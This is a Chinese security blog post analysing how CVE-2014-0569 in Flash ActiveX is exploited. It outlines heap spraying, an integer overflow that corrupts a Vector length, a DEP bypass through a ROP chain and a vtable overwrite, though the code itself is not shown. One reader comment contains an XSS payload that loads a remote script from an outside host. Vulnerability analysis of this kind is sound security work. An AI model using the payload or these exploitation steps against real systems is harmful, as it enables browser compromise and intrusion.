cve-2014-0569 漏洞利用分析

路人甲 2014-11-26 10:09:00

0×00 简述


来自CVE的漏洞描述:

测试环境: Win7 SP1 + Flash ActiveX 15.0.0.167

0×01 漏洞利用分析


介绍有关漏洞关键代码前,先看一下heap spray后的内存布局:

简单描述为:

漏洞致使Uint Vector的length字段被改写。

漏洞关键代码:

红线标注的部分其操作流程:

取预定大小0×1000的ByteArray对象_loc3,赋值给domainMemory,以便casi32函数操作此内存

预置大小0×1000的ByteArray对象:

通过函数atomicCompareAndSwapLength将_loc3长度置0

casi32函数内由于整数溢出造成执行流改变,致使向_loc3偏移0×1000处成功写入0×40000001

上述过程细节:

这样就可以以超长的Uint Vector为起点,读取预置的对象数据。

利用关键点:

搜索预置的sound对象进而计算出flash控件基址

预置的sound对象包含于喷射的少量Vector Object里,这里称之为vec_3。

具体的喷射代码:

通过特征比对遍历以获取vec_3中元素:

搜索到的其中一项:

计算flash控件基址:

在flash控件基址基础上获取rop链所需指令,用VirtualAlloc分配可执行内存过DEP。

构造rop链(部分):

修改sound对象虚表指针,并调用修改后的虚表函数将执行流导向stack pivot。

sound对象虚表指针修改前后:

修改后的虚表指针指向内容:

调用虚函数触发利用。

0×02 分析总结


完整的利用至少由两部分组成(html + swf),其中swf并不能独立执行,需要html传入的参数(shellcode),只拿到swf并不能获知攻击者的意图。

0×03 参考文章


  1. CVE-2014-0569漏洞分析

  2. Cracking the CVE-2014-0569 nutshell

评论

Knight 2014-11-26 18:30:47

附上exp就更好了。

_Thorns 2014-11-27 09:30:46

每次看到类似这样的帖子,就跟看天书一样。

C

Clouds 2014-11-27 09:37:34

[<a href="test" title="]"></a>DDDDDDDDDDDDDDDDDDDDDDDDDDD[" <!-- onmouseover="javascript:document.write('&lt;script src=\'http://sql.so/xFh4co?1417051496\'&gt;&lt;\/script&gt;');"//><!-- -->:D<a></a>]

紫衣大侠 2014-11-27 10:02:46

亮了~

鬼哥 2014-12-06 17:00:18

确实。哈哈。 我们差不多。

路人甲

真正的路人甲.

twitter weibo github wechat

随机分类

安全管理 文章:7 篇
安全开发 文章:83 篇
逻辑漏洞 文章:15 篇
memcache安全 文章:1 篇
企业安全 文章:40 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录